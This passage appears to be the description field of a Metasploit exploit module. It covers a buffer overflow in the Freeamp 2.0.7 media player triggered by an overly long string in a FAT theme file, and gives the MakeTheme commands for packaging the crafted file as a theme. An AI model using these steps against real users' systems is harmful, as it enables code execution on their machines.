   'Description'    => %q{
     This module exploits a buffer overflow vulnerability
     found in Freeamp 2.0.7. The overflow occurs when an
     overly long string is parsed in the FAT file. This
     module creates a txt file that has to be used in the
     creation of a FAT file. The FAT file then has to be
     imported as a theme. To create the FAT file you need
     to first decompress the basic theme template,
     MakeTheme -d freeamp.fat. Next create the new FAT file
     MakeTheme crash.fat theme.xml title.txt *.bmp.
